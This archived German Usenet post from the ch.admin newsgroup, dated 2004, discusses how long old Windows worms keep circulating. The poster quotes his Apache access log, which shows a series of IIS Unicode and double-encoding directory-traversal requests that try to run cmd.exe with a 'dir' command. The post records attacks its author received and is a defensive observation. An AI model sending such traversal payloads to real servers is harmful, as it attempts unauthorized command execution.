Article View: ch.admin
Article #4268Re: Virenschleuder im Bluewin-Netz
From: Rene
Date: Fri, 17 Dec 2004 13:40
Date: Fri, 17 Dec 2004 13:40
43 lines
2615 bytes
2615 bytes
"Peter Guhl" <pgnews@siconline.ch> wrote: > On Fri, 17 Dec 2004 08:50:21 +0100, Florian Spisla > <individual@nurfuerspam.de> wrote: > > > Mir geht einfach immer noch nicht in den Kopf, wie ein 30 Tage alter > > Virus immer noch so verbreitet ist. > > 30 *Tage*? Mich w�rd's schon wundern, wenn der in 30 *Monaten* merklich > abgenommen h�tte! Ist "Code Red II" unterdessen aus den Netzen draussen? Natuerlich nicht: $ cat /var/log/apache2/access_log | grep cmd [..] 68.47.66.252 - - [17/Dec/2004:10:59:49 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:49 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:50 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:50 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:51 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 978 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:51 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 978 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:52 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" 68.47.66.252 - - [17/Dec/2004:10:59:52 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1045 "-" "-" $ cat /var/log/apache2/access_log | grep cmd | grep "Dec" | wc -l 194 Wird wohl nicht verschwinden bevor es MS tut... CU Rene -- -------------------- http://NewsReader.Com/ -------------------- Usenet Newsgroup Service $9.95/Month 30GB
Technical Details
Message-ID:
<20041217084008.347$yd@newsreader.com>Path:
arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!news.glorb.com!border1.nntp.dca.giganews.com!border2.nntp.dca.giganews.com!nntp.giganews.com!feed5.newsreader.com!newsreader.com!newsh.newsreader.com!ellis.newsreader.com!not-for-mailReferences:
<j8f0s05llquqgqqslva2da9gt3ingrj877@4ax.com> <cpq5p1$pv$1@news.hispeed.ch> <32fhduF3i6632U1@individual.net> <opsi5kvxt25hmgep@news.siconline.ch>Show Full Headers
Complete Article Headers
X-Google-Thread: 11008d,fd85b1a3005c3fca X-Google-Attributes: gid11008d,public X-Google-Language: GERMAN,ASCII Path: arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!news.glorb.com!border1.nntp.dca.giganews.com!border2.nntp.dca.giganews.com!nntp.giganews.com!feed5.newsreader.com!newsreader.com!newsh.newsreader.com!ellis.newsreader.com!not-for-mail Subject: Re: Virenschleuder im Bluewin-Netz From: Rene <invalid@email.addr> Date: 17 Dec 2004 13:40:08 GMT Organization: NewsReader.Com Subscriber Message-ID: <20041217084008.347$yd@newsreader.com> Newsgroups: ch.admin References: <j8f0s05llquqgqqslva2da9gt3ingrj877@4ax.com> <cpq5p1$pv$1@news.hispeed.ch> <32fhduF3i6632U1@individual.net> <opsi5kvxt25hmgep@news.siconline.ch> X-Trace: NewsReader.Com eELg5Nf.CUtOJMycmDSGw2m1@JlS28OR@OUib-sU.2k7M/4, Lines: 43